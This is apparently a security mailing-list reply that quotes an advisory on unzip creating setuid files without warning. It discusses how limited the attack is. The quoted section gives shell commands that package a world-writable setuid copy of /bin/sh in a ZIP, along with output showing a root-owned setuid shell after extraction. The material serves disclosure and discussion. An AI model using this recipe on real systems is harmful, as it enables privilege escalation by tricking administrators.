III. Exploit
It's realy easy to test this vulnerability. You can create a malicious ZIP
file following this example:
$ cp /bin/sh . $ chmod 4777 sh $ zip malicious.zip sh
When another user (including root) unpacks the file, a setuid shell file will
be created without any warning, as you can see here:
# id # unzip malicious.zip Archive: malicious.zip inflating: sh # ls -l sh -rwsrwxrwx 1 root root 705148 Jan 16 17:04 sh
this only works if the user un-zipping the file is already root. otherwise it creates an "sh" binary which is setuid to the user who unzipped the file. this kind of "exploit" is only useful if you can somehow trick root into unzipping the file- it cannot be used to gain root on a machine where you don't already have it.
although i will agree that having the unzip program warn the user when creating a setuid or setgid file is a good idea in general.
-------------------------------------------------- | John M. Simpson - KG4ZOW - Programmer At Large | | http://www.jms1.net/ <jms1@xxxxxxxx> | -------------------------------------------------- | Mac OS X proves that it's easier to make UNIX | | pretty than it is to make Windows secure. | --------------------------------------------------
Attachment:
PGP.sig
Description: This is a digitally signed message part
